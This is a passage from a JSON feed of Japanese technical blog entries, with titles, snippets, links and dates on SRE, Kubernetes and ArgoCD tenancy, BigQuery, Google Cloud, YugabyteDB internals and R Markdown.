株式会社スリーシェイク.","link":"https://sreake.com/blog/vertex-ai-search-summary-tool/","isoDate":"2023-10-12T03:46:53.000Z","dateMiliSeconds":1697082413000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Rでアホになった要素を速く見つけろ!(ナベアツネタ)","contentSnippet":"ナベアツは数字がでかくなるほどアホになる割合がアップすると聞いたので検証してみましたhttps://twitter.com/jagarikin/status/1711855799184785732これをRでやってみるべく、MITTIさんが書いたコードが重いらしいです。","link":"https://blog.atusy.net/2023/10/12/fast-fool-findier/","isoDate":"2023-10-12T00:00:00.000Z","dateMiliSeconds":1697068800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"スリーシェイク、 インシデント管理・運用プラットフォーム「PagerDuty」の導入支援サービスを正式リリース","contentSnippet":"株式会社スリーシェイクが提供するSRE総合支援サービス「Sreake(スリーク)」は、新たに 、システムのインシデント対応を一元化するプラットフォーム「PagerDuty」の導入支援サービス「PagerDutyパッケージ」を正式リリースいたしました。The post スリーシェイク、 インシデント管理・運用プラットフォーム「PagerDuty」の導入支援サービスを正式リリース first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pagerduty-package/","isoDate":"2023-10-10T00:50:00.000Z","dateMiliSeconds":1696899000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"SREとPlatform Engineerの交差点","contentSnippet":"Platform Engineering Meetup #5 #PFEM\\rhttps://platformengineering.connpass.com/event/295048/ \\r\\rSREとPlatform Engineerの交差点: 2つの領域の交差と組織への適用 というタイトルで登壇します。\\r\\r登壇ブログ |『SREとPlatform Engineerの交差点:2つの領域の交差と組織への適用』というタイトルで登壇しました\\rhttps://syu-m-5151.hatenablog.com/entry/2023/10/05/233555\\r\\rグレイラットの殺人 ワシントン・ポーが面白かったのでオススメです。\\rhttps://www.hayakawa-online.co.jp/shopdetail/000000015569/","link":"https://speakerdeck.com/nwiizo/sretoplatform-engineernojiao-chai-dian","isoDate":"2023-10-05T04:00:00.000Z","dateMiliSeconds":1696478400000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"SREとPlatform Engineerの違いを3つのポイントで理解する","contentSnippet":"はじめに プラットフォームエンジニアリング(Platform Engineering)とサイト信頼性エンジニアリング(SRE, Site Reliability Engineering)はともに、ITインフラとアプリケー […]The post SREとPlatform Engineerの違いを3つのポイントで理解する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/3-diffs-with-sre-and-platform-engineer/","isoDate":"2023-10-04T03:49:57.000Z","dateMiliSeconds":1696391397000,"authorName":"Sreake","authorId":"Sreake"},{"title":"DietPi で DNLA サーバー","contentSnippet":"Raspberry Pi 4 を買った週に Raspberry Pi 5 が発表されてちょっと悔しいところですが Windows XP 時代から OS を更新しながら使っていた古いデスクトップPCを処分したのでそこで","link":"https://blog.1q77.com/2023/09/minidlna-on-dietpi/","isoDate":"2023-09-30T08:33:09.000Z","dateMiliSeconds":1696062789000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Kubernetes における秘密情報の管理方法","contentSnippet":"自己紹介 竹下 2023年8月21日からインターンに参加している早稲田大学基幹理工学研究科 M1 竹下です。SRE関連の技術と,自身が研究しているセキュリティ分野との関係性を学びたいと思い、インターンに参加しました。 中 […]The post Kubernetes における秘密情報の管理方法 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-secret-management/","isoDate":"2023-09-25T08:35:29.000Z","dateMiliSeconds":1695630929000,"authorName":"Sreake","authorId":"Sreake"},{"title":"EventBridge Scheduler からの Lambda 関数起動に Lambda Permission は不要","contentSnippet":"AWS Lambda 関数の他サービスからの呼び出しAWS Lambda 関数にはリソースベースポリシーを割り当てることができます。関数を他のサービスから呼び出すとき,通常はリソースベースポリシーにそのサービスからの実行を許可するポリシーを追加する必要があります。例えば,Amazon SNS からイベント駆動で呼び出す場合は,以下のように add-permission コマンドを実行することでポリシーを追加することができます。aws lambda add-permission --function-name example-function \\\\--action lambda...","link":"https://zenn.dev/toshikish/articles/743f69389aa99c","isoDate":"2023-09-22T10:16:34.000Z","dateMiliSeconds":1695377794000,"authorName":"toshikish","authorId":"toshikish"},{"title":"スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「インフラストラクチャ – サービス」のスペシャライゼーション認定を取得","contentSnippet":"Google Cloud – Sell エンゲージメントモデルにおけるプレミアパートナーである株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、Google Cl […]The post スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「インフラストラクチャ – サービス」のスペシャライゼーション認定を取得 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-specialization/","isoDate":"2023-09-22T00:50:00.000Z","dateMiliSeconds":1695343800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"WSL 2 で外部ストレージをマウント","contentSnippet":"Laptop を Linux で使用していた時の遺産を WSL 環境でも使おうと XFS でフォーマットされた USB 接続の HDD をマウントする方法がないかなと思って調べたメモ。 Microsoft のドキュメ","link":"https://blog.1q77.com/2023/09/wsl2-mount-volume/","isoDate":"2023-09-21T14:08:28.000Z","dateMiliSeconds":1695305308000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Expanding SRE ~方法論としてのSREを広めたい~","contentSnippet":"","link":"https://speakerdeck.com/parupappa2929/jagu-e-rren-cai-yu-cheng-fen-ke-hui-20230926","isoDate":"2023-09-20T04:00:00.000Z","dateMiliSeconds":1695182400000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"IPA試験 合格体験記/qualification-story","contentSnippet":"","link":"https://speakerdeck.com/moz_sec_/qualification-story","isoDate":"2023-09-15T04:00:00.000Z","dateMiliSeconds":1694750400000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"BigQueryの行列レベルのアクセス制御について","contentSnippet":"whatBigQueryにおける「行列レベル」のアクセス制御について調べたことをまとめる そもそも: 行・列単位に対してのアクセス制御は可能なのか?A. できるそれぞれ記載していく 列単位https://cloud.google.com/bigquery/docs/column-level-security-intro?hl=ja列に対して事前定義したポリシータグと呼ばれるものを付与することで、特定のアカウントやグループだけが列にアクセスできる。アクセスポリシーはSQLを実行する際に確認され、許可されていないメンバーからのクエリはAccess Denitedと...","link":"https://zenn.dev/nedoko_dok0dko/articles/bc6a413eb623c7","isoDate":"2023-09-14T11:46:25.000Z","dateMiliSeconds":1694691985000,"authorName":"seno","authorId":"seno"},{"title":"Cloud Deployを使ったCloud Runのリリース","contentSnippet":"概要Cloud RunのリリースにCloud Deployを使ってみます。 そもそもCloud Deployとはhttps://cloud.google.com/deploy?hl=jaGKE、Cloud Runのリリースを管理できるサービスになります。リリースフローを記載したパイプラインの定義を作成し、パイプラインを作成したら、フローを管理できるようになります。各フローでは基本内部でskaffoldを通して、Cloud Buildが実行される形です。Cloud Deployを使うと以下のような、リリースフローになるかと思います。Cloud BuildでImageを...","link":"https://zenn.dev/satohjohn/articles/7e6a70edc8f36e","isoDate":"2023-09-13T05:47:13.000Z","dateMiliSeconds":1694584033000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Kubernetesソースコードリーディング入門","contentSnippet":"Kubernetes Novice Tokyo #27 で発表した資料です。\\rhttps://k8s-novice-jp.connpass.com/event/293144/\\r\\r発表のライブ配信はこちら。\\rTODO\\r\\rスライドで紹介した参考リンク集:\\rhttps://bells17.medium.com/things-you-should-know-about-reading-kubernetes-codes-933b0ee6181d \\rhttps://www.amazon.co.jp/dp/4297104385/\\rhttps://www.amazon.co.jp/dp/4297118378/ \\rhttps://go.dev/tour/welcome/1 \\rhttps://gopherdojo.org/studyroom/ \\rhttps://www.amazon.co.jp/dp/4621300253/ \\rhttps://speakerdeck.com/bells17/kubelet-and-containers \\rhttps://speakerdeck.com/ryusa/servicewotazunete3000xing-kuberneteskodorideingufalselu \\rhttps://speakerdeck.com/bells17/kube-api-server-k8sjp \\rhttps://speakerdeck.com/sanposhiho/zi-zuo-sitexue-bukubernetes-schedulerru-men \\rhttps://speakerdeck.com/bells17/cloud-controller-manager-deep-dive \\rhttps://speakerdeck.com/masayaaoyama/infrastudy2-k8s \\rhttps://github.com/kubernetes/client-go/tree/master/examples/workqueue \\rhttps://github.com/kubernetes/sample-controller/blob/master/controller.go \\rhttps://github.com/kubernetes-sigs/kubebuilder \\rhttps://speakerdeck.com/bells17/kubebuilder-introduction \\rhttps://zoetrope.github.io/kubebuilder-training/ \\rhttps://github.com/cybozu-go \\rhttps://www.youtube.com/watch?v=yqB_le-N6EE \\rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-instrumentation/1602-structured-logging/README.md \\rhttps://github.com/kubernetes/enhancements/issues/1602 \\rhttps://github.com/kubernetes/klog/issues/125 \\rhttps://github.com/kubernetes/klog/pull/126 \\rhttps://github.com/kubernetes-csi \\rhttps://kubernetes-csi.github.io/docs/drivers.html \\rhttps://speakerdeck.com/bells17/introduction-to-csi \\rhttps://github.com/kubernetes/kubeadm \\rhttps://speakerdeck.com/bells17/implementation-of-kubeadm-init \\rhttps://github.com/kubernetes-sigs/metrics-server \\rhttps://speakerdeck.com/bells17/metrics-server \\rhttps://speakerdeck.com/bells17/accurate-introduction \\rhttps://github.com/cybozu-go/accurate \\rhttps://slack.k8s.io/ \\rhttps://www.youtube.com/watch?v=Ayo5w-CSmP0 \\rhttps://github.com/kubernetes/community","link":"https://speakerdeck.com/bells17/kubernetessosukotoriteinkuru-men","isoDate":"2023-09-12T04:00:00.000Z","dateMiliSeconds":1694491200000,"authorName":"bells17","authorId":"bells17"},{"title":"GitHub ActionsでWorkload Identityでの認証を入れてGoogle CloudのAPIを叩く","contentSnippet":"概要正直難しいと思ってたのですが、資料を読んでいくと表面上、実装は難しくありませんでした。GitHub ActionsとGoogle Cloudを連携する場合、json管理とかしなくても済むし、基本的にやっておいて損はないと思います。ユースケースとしては、例えば、GitHub Actionsで実行した結果(report)をGoogle Cloud Storageにデータを送りたいなどの際に使えると思います。Identity Poolに対して、providerは複数作成できるため、いろんな GitHub Actionsから利用されるようなパターンでも、provider:scri...","link":"https://zenn.dev/satohjohn/articles/1645be8e83eab6","isoDate":"2023-09-11T14:17:35.000Z","dateMiliSeconds":1694441855000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"コンテナセキュリティ TetragonとPodSecurity/seccompの機能比較","contentSnippet":"自己紹介 高島 陸斗 千葉工業大学修士1年生の高島陸斗です。大学院では、コンピュータによる数値計算の厳密解との誤差がどの程度あるのかを調べる精度保証の精度を上げるための研究をしています。サイバーセキュリティに興味があり、 […]The post コンテナセキュリティ TetragonとPodSecurity/seccompの機能比較 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/container-security-comparison/","isoDate":"2023-09-11T07:22:29.000Z","dateMiliSeconds":1694416949000,"authorName":"Sreake","authorId":"Sreake"},{"title":"BigQueryのオンデマンド料金におけるコスト管理方法についてメモ","contentSnippet":"whatBigQueryにおけるコスト管理方法について、公式ドキュメントを元にメモしたログ今回はオンデマンド料金について記載のため、定額料金(BigQuery Editions)に関しては記載しない 高額請求が来てしまうパターンとはよく見かける/耳にするのは以下のような場合(あくまで一例)大量にデータをスキャンするクエリを実行するselect * 系のクエリを投げる(Table Patitionを利用したテーブルの場合)partitionで指定しないでクエリを投げる料金がかかるクエリをバッチなど利用して連続で実行してしまうTable Patition...","link":"https://zenn.dev/nedoko_dok0dko/articles/f0da04c4a70ea6","isoDate":"2023-09-11T01:56:24.000Z","dateMiliSeconds":1694397384000,"authorName":"seno","authorId":"seno"},{"title":"YugabyteDBのドキュメントを全部読む Day8","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Write I/O pathを読みました。今回はArchitecture > Core functions > Read I/O pathを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Read I/O pathI/O Pathはタブレットリーダーが特定されリード処理を実行する単一キーの例で説明することが出来る。Tablet leader identificationユーザーが発行したYQLクエリレイヤに作用するリードリクエストはポートから適切なAPI(YQLまたはYCQL)を経由して行なわれる。このユーザリクエストはYQLレイヤで内部キーに変換され、YQLレイヤがタブレットとそれをホストするYB-TServerを発見するのに利用される。YQLレイヤはこれをYB-MasterにたしてRPC呼び出しを実行するために行なう。またそのレスポンスは将来の利用のためにキャッシュされる。その後YQLレイヤはリーダータブレットピアーをホストするYB-TServerに対してリード処理を行なう。このリード処理は内部キーを保持するタブレットのRaftグループのリーダーによって処理される。このリードリクエストを処理するRaftグループのリーダーはDocDBから読み込みを実行し、その結果をユーザーに戻す。Write I/O Pathで説明した通り、YugabyteDBのスマートクライアントではアプリケーションのリクエストを直接適切なYB-TServerに送信することが出来るため、余計なネットワークホップやマスターへのアクセスを省略することが出来る。Read operation performed by tablet leaderkという値をKというプライマリキー行に持つテーブルT1からデータを取得するケースについて考える。またテーブルT1はキー行Kと値行Vを持つものとする。1下記の画像はリード処理について説明している。YugabyteDBはデフォルトでは強整合性の読み取りを採用している。リードクエリはさらに複雑になることもある。YQLクエリレイヤーは式やビルトイン関数、算術演算を含むクエリを処理するfully-optimized2されたクエリエンジンを持っている。SELECT K,V from T1 where K = \'k\'ということ↩↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/8_core_functions_read_io_path","isoDate":"2023-09-06T18:37:55.000Z","dateMiliSeconds":1694025475000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"LookMLとは","contentSnippet":"これは何?Looker内にある機能である「LookML」について調べたことをまとめた個人的備忘録。 LookMLとはLookMLの紹介 \xa0|\xa0 Looker \xa0|\xa0 Google CloudLookML は、Looker Modeling Language の略です。セマンティックデータモデルを作成するためにLookerで使用される言語です。LookMLを使用して、SQLデータベース内のディメンション、集計、計算、およびデータの関係を記述できます。LookMLは「Looker上で利用できる独自の言語」のことをさす 別にMLや機械学習は関係ないLookerは、Lo...","link":"https://zenn.dev/nedoko_dok0dko/articles/18a4a04b98dcb8","isoDate":"2023-09-05T10:46:35.000Z","dateMiliSeconds":1693910795000,"authorName":"seno","authorId":"seno"},{"title":"Nodejs(Nest.js)のアプリケーションのbuildを高速化、slim化してみようの会","contentSnippet":"前提DockerによるNode.jsのインストール(pull)はキャッシュされているものとする.dockerignoreは以下の通りnode_modules.git.gitignore*.mddisttest 最初にまとめ軽く、そんなに依存関係が多くないアプリケーションであればnpmでstaging buildでキャッシュ効かせるぐらいでよいかもRUN --mount=type=cache,target= は効果がありそうである (https://zenn.dev/kou64yama/articles/powerful-docker-build-cache...","link":"https://zenn.dev/satohjohn/articles/c05d29f5d68e0c","isoDate":"2023-09-02T10:02:16.000Z","dateMiliSeconds":1693648936000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"mini.surroundによるHTMLタグ編集のemmet対応","contentSnippet":"mini.surroundはvim-sandwichのような、括弧やクオーテーションなどで囲まれた文字列を編集するためのNeovim向けプラグインです。選択範囲を()で囲う、文字列の囲いを()から\\"\\"に変更する、\\"\\"による囲いを削除するといったことが可能です。同様にHTMLタグに対する操作にも対応していますが素朴なものです。","link":"https://blog.atusy.net/2023/09/01/mini-surround-emmet/","isoDate":"2023-09-01T00:00:00.000Z","dateMiliSeconds":1693526400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Lookerのユーザー権限について","contentSnippet":"これは何Lookerのユーザー権限一覧を個人的にまとめたものhttps://cloud.google.com/looker/docs/admin-panel-users-roles?hl=ja#default_permission_sets ユーザー権限一覧Admin:Developer、Viewer、Standard権限に加え、データソースへの接続やユーザー管理の権限を持つ現時点で確認できる、Adminでしかできない機能については以下データソース(BigQuery等)への接続設定ユーザーの追加・削除・権限の変更ユーザー・グループ単位のフォルダの公開・非公...","link":"https://zenn.dev/nedoko_dok0dko/articles/160cb146e72740","isoDate":"2023-08-31T17:22:40.000Z","dateMiliSeconds":1693502560000,"authorName":"seno","authorId":"seno"},{"title":"YugabyteDBのドキュメントを全部読む Day7","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Table Creationを読みました。今回はArchitecture > Core functions > Write I/O pathを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Write I/O pathWrite I/O pathはYQLレイヤーで処理され、タブレットリーダーによってレプリケーションの準備が行なわれるシングルキーでの書き込みとして例示することが出来る。アトミックなアップデートを共なう複数キーでの分散トランザクションなど複雑なケースについては分散トランザクションに記載する。Write operation processing by YQL layerユーザーが発行したYQLクエリレイヤに作用するライトリクエストはポートから適切なAPI(YQLまたはYCQL)を経由して行なわれる。このユーザーリクエストはYQLレイヤで内部キーに変換される。シャーディングで説明するように、それぞれのキーは一つのタブレットが所有する。どのタブレットがキーを所有するか特定するために、YQLレイヤはYB-MasterにRPC1呼び出しを実行する。そのレスポンスは将来の利用のためにキャッシュされる。YugabyteDBはタブレットの場所をキャッシュし直接参照することでネットワークホップを減らすことで、YQLレイヤが直接適切なYB-TServerにホストされるタブレットリーダーにリクエストを送信することが出来るスマートクライアントを持つ。YQLレイヤがローカルノードにタブレットリーダーを見つけた場合、RPCはローカルファンクションコールになりリクエストをシリアライズとデシリアライズしてネットワーク越しに送信する時間を節約することが出来る。その後YQLレイヤはタブレットリーダーをホストするYB-TServerへの書き込みを発行する。この書き込みはキーを所有するRaftグループのタブレットリーダーによって処理される。Preparation of the operation for replication by tablet leader下記の図はタブレットリーダーがレプリケーションを実行する処理を説明している。タブレットのRaft Groupリーダーは以下の処理を実行する。現在実行されている処理が現在のスキーマに対応しているかを判別するキーに対してローカルin-memoryロックマネージャーを利用してロックを取得する。このロック機構はフォロワーには存在しない必要であればデータを読み込む(read-modify-writeや条件付きアップデート命令など)DocDBに書き込まれる変更のバッチを準備する。この書き込みバッチは殆ど最終的にRocksDBに書き込まれるKey-Valueペアに近く、それぞれのキーの末尾に最終的なhybrid timestampが添えられていないだけであるRaft replication of the write operation書き込みのRaftレプリケーション処理の流れは以下のように説明することが出来る。リーダーがバッチをRaft logにアペンドし、書き込みのためのhybrid timestampを選択するRaftを利用しデータをピアーに複製する成功したRaft replicationのデータをローカルのDocDBに反映するユーザーに成功を返すフォロワータブレットはRaftを利用したデータの複製を受けつけ、コミットされた事が分ったタイミングでその複製をローカルのDocDBに反映する。リーダーは以下のようにコミットポイントに於ける後続のRPCリクエストの進行を進める。書き込みバッチを含むRaftエントリーは過半数以上のタブレットRaft Groupピアーに複製されるRaftのサブシステムから\\"Replication Successful\\"のコールバックを取得したあと、リーダーはローカルのDocDBにバッチの書き込みを適用するリーダーからの次の更新でエントリーがコミットされたことがフォロワーに通知され、フォロワーはそれぞれのRocksDBインスタンスにバッチの書き込みを適用する。Response to the clientInformation Pending2Exampleskとvという値をKという行とVという行をもつテーブルT1に挿入する例について考える3。この例ではユーザーアプリケーションがランダムなYugabyteDBサーバにWriteクエリを送信し、そのサーバがリクエストを適切にルーティングすると仮定して簡略化している。特にYCQLではYugabyteDB Smart Clientを使うことで、余分なネットワークホップを避けることが出来る。↩原文ママ。過去のバージョンでも記載無し↩INSERT INTO T1 (K,V) VALUES(\'k\',\'v\')ということ↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/7_core_functions_write_io_path","isoDate":"2023-08-30T16:03:36.000Z","dateMiliSeconds":1693411416000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Modifying output format from within R Markdown chunk by `rmarkdown::output_format_dependency`","contentSnippet":"This article introduces a new feature from rmarkdown 2.24, output_format_dependency().R Markdown users use variety of output formats from variety of packages such as html_document, bookdown::git_book, revealjs::revealjs_presentation, and so onUsually, users specify the YAML frontmatter to choose and tweak formats.output: html_document: toc: trueSome people may be surprised, but the output formats are R functions!And the above example is equivalent to specifying the toc argument to html_document().Output formats already provide customizibility.","link":"https://blog.atusy.net/2023/08/28/rmarkdown-output-format-dependency/","isoDate":"2023-08-28T00:00:00.000Z","dateMiliSeconds":1693180800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Harness✖️TerraformでHarness IaC実現","contentSnippet":"はじめにHarnessのIaCを調査する(Harness Git Experience)上記ドキュメントでHarnessのIaCについて調査を行ったその結果、Pipelineレベルより抽象度の高いIaCにはTerraformを使用する必要があることがわかったそこで、Harness Terraform Providerを使用して、IaCを実現する githubリポジトリhttps://github.com/parupappa/harness-gitops-yokoo/tree/main/terraform 方針詳しい記述はREADME.mdに記載したので、そちらを...","link":"https://zenn.dev/yokoo_an209/articles/d599fb9896d2eb","isoDate":"2023-08-25T07:55:09.000Z","dateMiliSeconds":1692950109000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"YugabyteDBのドキュメントを全部読む Day6","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Universe creationを読みました。今回はArchitecture > Core functions > Table Creationを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Table CrationYugabyteDBではユーザーにより実行されるテーブルの作成はYB-Masterのリーダーが実行する非同期APIによって管理される。YB-MasterはそのAPIでテーブルのスキーマと障害耐性を高めるために形成するRaftグループに所属するYB-Masterでのテーブル作成に必要な他の情報のレプリケーションが完了した段階でAPIの成功を返す。YB-Masterのリーダーがテーブル作成を実行するときは複数のステップが存在する。ValidationYB-Masterリーダーはテーブルスキーマの検証を行ない、指定された数のタブレットを作成する。これらのタブレットはこの段階ではYB-TServerには割り振られていない。ReplicationYB-MasterリーダーはYB-MasterのRaftグループにテーブルスキーマと新しく作成されたタブレット(この時点ではYB-TServerへの割り当て行なわれていない)の複製を行なう。この処理はYB-Masterリーダに障害が発生してもテーブル作成が成功することを保証する。Acknowledgementテーブル作成処理はYB-Masterリーダーに障害が発生しても処理を継続することが出来るため、この段階で非同期テーブル作成APIは成功を返す。ExecutionYB-Masterリーダーはそれぞれのタブレットをレプリケーションファクターとして指定された数だけYB-TServerに割り当てを行なう。このタブレットピアーの配置は指定された障害耐性を実現でき、またタブレットの割り当てがYB-TServerに均等に行なわれるように実行される。タブレットのYB-TServerへの割り当てはタブレットのレプリカが複数クラウド、リージョン、アヴェイラビリティゾーンをまたいで分散するといった追加の制約を満す必要がある。Continuous monitoringYB-Masterリーダーは全てのタブレットの割り当て処理を監視し、その実行状態と完了をユーザーが実行したAPIコールに対して応答する必要がある。Examplesテーブルが4ノードからなるYugabyteDBUniverseに作成される処理について考える。このときテーブルは16のタブレットと3つのレプリケーションファクターを持つとする。YB-Masterリーダーはスキーマを検証する。また16タブレット(合計48のタブレットピアー)を作成し、Raftを利用して過半数のYB-TServerにテーブルの作成に必要なデータを複製する。作成したタブレットをRaftグループを成すYB-TServerの中の指定された数のYB-TServer割り当て、リーダーの選出を行なう。このタブレットに属するキーに対する全てのリードとライトは、タブレットピアーのリーダーとRaftグループが責任を持つ。タブレットが割り当てられると長期に渡る障害か将来のロードバランシングが発生しYB-Masterにオーナーシップを変更されるまで、割り当て先のYB-TServerが所有する。タブレットリーダーをホストするYB-TServerの内の1台に障害が発生した場合、タブレットのRaftグループはI/Oを処理するために即座にリーダーエレクションを実行する。そのためYB-MasterはI/Oにおけるクリティカルパスになることはない。レプリケーション先となる候補を探す。この複製処理は段階的かつGracefulに実行される。","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/6_core_functions_table_creation","isoDate":"2023-08-23T14:26:45.000Z","dateMiliSeconds":1692800805000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"HarnessのIaCを調査する(Harness Git Experience)","contentSnippet":"はじめにHarnessで複数のパイプライン構築しようとするときに、いちいちGUIでパイプラインを1から構築していくのはSRE的な観点からみるとトイルと言わざるを得ないHarnessのネイティブ機能でパイプラインのclone(複製)はできるが、パラメータやクラスタの設定変更など全てプロビジョニングはできないそこで、Harnessで構築するパイプライン自体をIaCで管理すべく、Harness Git Experienceを中心に技術検証を行うHarness Git Experienceの概要はこちらを参照 調査公式quickstartを元にHarness Git Exper...","link":"https://zenn.dev/yokoo_an209/articles/8fd200bc6239ae","isoDate":"2023-08-21T08:15:15.000Z","dateMiliSeconds":1692605715000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"【ArgoCD\uD83D\uDC19️】KubernetesのマルチテナントパターンとArgoCDの実践テナント設計","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Kubernetesのマルチテナントパターンの種類マルチテナントパターンをArgoCDで実践する場合にオススメのパターン (★で表現)ArgoCDのNamespacedスコープモードとClusterスコープモードArgoCDのテナントが防いでくれる誤った操作の具体例記事のざっくりした内容は、以下のスライドからキャッチアップできちゃいます! この記事から得られる知識01. はじめに02. なぜマルチテナントが必要なのかシングルテナントの場合マルチテナントの場合03. Kubernetesのマルチテナントパターンマルチテナントパターンの一覧Clusters as-a-ServiceControl Planes as-a-ServiceNamespaces as-a-Serviceカスタムリソーステナント04. ArgoCDでのテナントパターン実践一覧04-02. Clusters as-a-Service 実践実Clusterテナントオススメしない理由04-03. Control Planes as-a-Service 実践仮想Clusterテナント - ★オススメした理由04-04. Namespaces as-a-Service 実践04-05. カスタムリソーステナントの実践AppProjectテナントCLモード vs. NSモード05. CLモードなArgoCDCLモードなArgoCDとはAppProjectArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)ログインユーザー用ConfigMap (argocd-rbac-cm)オススメしない理由05-02. NSモードなArgoCD - ★★NSモードなArgoCDとはAppProjectArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)ログインユーザー用ConfigMap (argocd-rbac-cm)特にオススメした理由AppProjectテナント例の一覧テナント例1Namespace (プロダクトの実行環境別)、AppProject (プロダクトの実行環境別)オススメしなかった理由テナント例2 - ★Namespace (プロダクト別)、AppProject (プロダクトの実行環境別)オススメした理由テナント例3 - ★★Namespace (プロダクト別)、AppProject (プロダクトのサブチーム別)特にオススメした理由06. どのような誤った操作を防いでくれるのかマニフェストのデプロイ制限マニフェストをデプロイできる場合(\uD83D\uDEAB制限例1) 無認可のNamespaceでApplicationを作成しようとした場合(\uD83D\uDEAB制限例2) 無認可のAppProjectでApplicationを作成しようとした場合(\uD83D\uDEAB制限例3) 無認可のClusterをデプロイ先に指定しようとした場合(\uD83D\uDEAB制限例4) 無認可のNamespaceをデプロイ先に指定しようとした場合カスタムリソースのReconciliation制限ArgoCD系カスタムリソースをReconciliationできる場合(\uD83D\uDEAB制限例1) 無認可のNamespaceにReconciliationを実行しようとした場合07. おわりに謝辞記事関連のおすすめ書籍01. はじめにどうも、熟成アルトバイエルンです。画像引用元:Argo Projectさて最近の業務で、全プロダクトの技術基盤開発チームに携わっており、全プロダクト共有のArgoCD\uD83D\uDC19のマルチテナント化を担当しました。プロダクトが稼働するKubernetes Clusterが数十個あり、Clusterによっては複数のチームが合計100個以上のマイクロサービスを動かしています。このような大規模なマイクロサービスシステムがいくつもある状況下で、ArgoCDのマルチテナント設計の知見を深められたため、記事で解説しました。書きたいことを全部書いたところ、情報量がエグいことになってしまったため、気になる章だけでも拾って帰っていただけるとハッピーです\uD83D\uDE4FKubernetesのマルチテナントパターン (3章)ArgoCDでのテナントパターン実践一覧 (4章)ArgoCDのClusterスコープモードとNamespacedスコープモード (5章)どのような誤った操作を防いでくれるのか (6章)それでは、もりもり布教していきます\uD83D\uDE1702. なぜマルチテナントが必要なのかシングルテナントの場合そもそも、なぜArgoCDにマルチテナントが必要なのでしょうか。例えば、マニフェストのデプロイ先となるプロダクト用Cluster (例:foo、bar、baz) があると仮定します。ArgoCDをシングルテナントにする場合、各プロダクトチームの操作するApplicationを同じテナントに共存させることになります。この場合、単一のargocd-server (ダッシュボード) から全てのApplicationを操作できて便利です。しかし、プロダクト用Cluster数が増えていくにつれて、問題が起こり始めます。例えば、いずれかのプロダクトチームが誤ったApplicationを操作し、結果的に誤ったプロダクト用Clusterにマニフェストをデプロイしてしまう可能性があります。もちろん、システムでインシデントを起こしてやろうという悪意を持った人が、誤ったプロダクト用Clusterを意図的に選ぶ可能性もあります\uD83D\uDE08マルチテナントの場合その一方で、いい感じのマルチテナントにしたとします。プロダクトチームは、認可されたテナントに所属するApplicationにのみを操作でき、反対に無認可のテナントのApplicationは操作できません。これにより、誤ったプロダクト用Clusterにマニフェストをデプロイすることを防げます。03. Kubernetesのマルチテナントパターンマルチテナントパターンの一覧ArgoCDのテナント設計を実践する前に、Kubernetesにはどんなマルチテナントパターンがあるのでしょうか。Kubernetesのマルチテナントパターンは、以下に大別できます。 Clustersas-a-Service Control Planesas-a-Service Namespacesas-a-Service カスタムリソーステナント テナント単位 実Cluster 仮想Cluster Namespace ツール固有の論理空間 テナント間でKubernetesリソースを分離できるか Clusterスコープリソース ✅ ✅ ✅ ツールによる Namespacedスコープリソース ✅ ✅ ツールによる ツール AWS EKSGCP GKEAzure AKEKubeadmなど Kcptensile-kubevclusterVirtualClusterなど Namespaceを増やすだけなので特別なツール不要 ArgoCDのAppProjectCapsuleのTenantkioskのAccountKubeZooのTenantなど ▶ 他のマルチテナントの分類方法について\\"ソフトマルチテナンシー\\" と \\"ハードマルチテナンシー\\" といった分類方法もあります。この分類方法では、テナント間の分離度の観点で各マルチテナントを種別します。ソフトマルチテナンシーは、互いに信頼できる前提の上で、テナント間を弱く分離します。その一方で、ハードマルチテナンシーは、互いに信頼できない前提の上でテナント間を強く分離します。分離度がソフトとハードのいずれであるかに客観的な指標がなく、やや曖昧な種別になってしまうため、本記事の X as-a-Service の方が個人的には好みです♡♡♡The Kubernetes Book: 2024 Edition (English Edition)Multi-tenancy | KubernetesMulti-tenancy - EKS Best Practices GuidesClusters 